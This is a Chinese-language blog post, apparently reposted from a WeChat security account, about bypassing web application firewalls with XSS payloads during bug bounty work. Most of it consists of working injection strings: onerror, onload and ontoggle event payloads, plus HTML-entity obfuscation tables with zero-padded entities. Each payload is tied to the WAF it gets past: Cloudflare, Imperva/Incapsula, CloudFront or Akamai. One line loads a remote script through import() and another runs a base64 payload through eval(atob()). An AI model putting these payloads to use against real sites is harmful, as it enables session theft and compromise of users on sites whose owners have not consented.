XSS WAF 绕过 一种负载适用于所有人

admin 2024年4月10日10:14:27评论6 views字数 1765阅读5分53秒阅读模式

XSS WAF 绕过 一种负载适用于所有人

当我开始漏洞奖励时,一个主要障碍是 WAF 阻止了我的 XSS 注入。

所以我的任务是找到一个“通用”的有效负载,在大多数情况下都有效

起初,我遇到了带有 cloudflare 的程序,尽管可以通过 GitHub 或 Twitter 上提供的各种有效负载来绕过著名的 cloudflare。以下是我在测试中使用的一些示例。

一种常用的方法是在任何 JavaScript 事件前加上on前缀

<img/ignored=()%0Asrc=x%0Aonerror=prompt(1)><svg onload=prompt%26%230000000040document.domain)><Img Src=On OnError=alert(1)>

我的目标是发现一个 js 事件绕过负载,用于带双引号的 XSS 注入,以防无法重新打开标签和经典标签注入

" onerror[JS]<img src=x onerror=[JS]>

在寻找神奇有效负载的过程中,我发现了几个可能的注入点。然而,大多数角色都因为被列入黑名单而被WAF屏蔽。我查看了事件的左侧,发现通过在 JavaScript 事件名称前添加一个字符,有效负载被接受。

onerror=[JS]返回403有效

/onerror=[JS]返回403有效

aonerror=[JS]返回200无效

所以我一直在考虑可以与事件名称连接的引号:

<x ""onerror=[JS]>返回200无效

<x x="""onerror=[JS]>返回200无效

<x x=""onerror=[JS]>返回403有效

当输入奇数时,它可以工作,但无效,因为引号将连接到事件名称。我想我应该尝试使用实体,它们是某些特殊字符的别名:

通过用实体别名替换中间引号,有效负载有效并绕过 WAF!!!!

<x x="&quot;"onerror=[JS]>

当 & 字符未被过滤时,Html 实体非常有用。据我所知,有 3 种类型可用:

  • 用于绕过的命名实体

' -> &apos;" -> &quot;` -> &grave;` -> &DiacriticalGrave;( -> &lpar;) -> &rpar;{ -> &lcub;} -> &rcub;& -> &amp;< -> &lt;> -> &gt;n -> &NewLine;t -> &Tab;nbsp -> &nbsp; -> &bsol;
  • 十六进制实体

' -> &#x27;" -> &#x22;` -> &#x60;( -> &#x28;{ -> &#x7b;} -> &#x7d;& -> &#x26;< -> &#x3c;> -> &#x3e;n -> &#x0a;t -> &#x09;nbsp -> &#xa0; -> &#x5c; 
  • 数字实体

' -> &#39;" -> &#34;` -> &#96;( -> &#40;) -> &#41;{ -> &#123;} -> &#125;& -> &#38;< -> &#60;> -> &#62;n -> &#10;t -> &#9;nbsp -> &#160; -> &#92;

使用数字和十六进制实体,真正方便的是您可以添加任意数量的 0,通常过滤效果非常差

" -> &#34; -> &#00000000000000000000000034; Numeric entity -> &#x22-> &#x000000000000000000000022Hex entity

就我个人而言,一旦检测到 xss,我经常使用它来加载我的脚本,通过import加载远程脚本或执行大型 base64 eval :

import&lpar;&#x27;https://example.com&#x27;&rpar;eval&lpar;atob&lpar;&#x27;BASE64===&#x27;&rpar;&rpar;

回到 WAF 旁路,现在在某些 WAF 上此负载有效吗?我尝试了我的范围内更知名的:

渗透与封装

非常适合 imperva 和 incapsula :

<details/open/id="&quot;"ontoggle=[JS]>

它也适用于 Amazon WAfs、Cloudfront

<details/open/id="&quot;"ontoggle=[JS]>

对于 Akamai,我必须添加其他引号才能使其正常工作

<details open id="' &quot;'"ontoggle=[JS]>

原文始发于微信公众号(Ots安全):XSS WAF 绕过 一种负载适用于所有人

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月10日10:14:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   XSS WAF 绕过 一种负载适用于所有人http://cn-sec.com/archives/2642603.html

发表评论

匿名网友 填写信息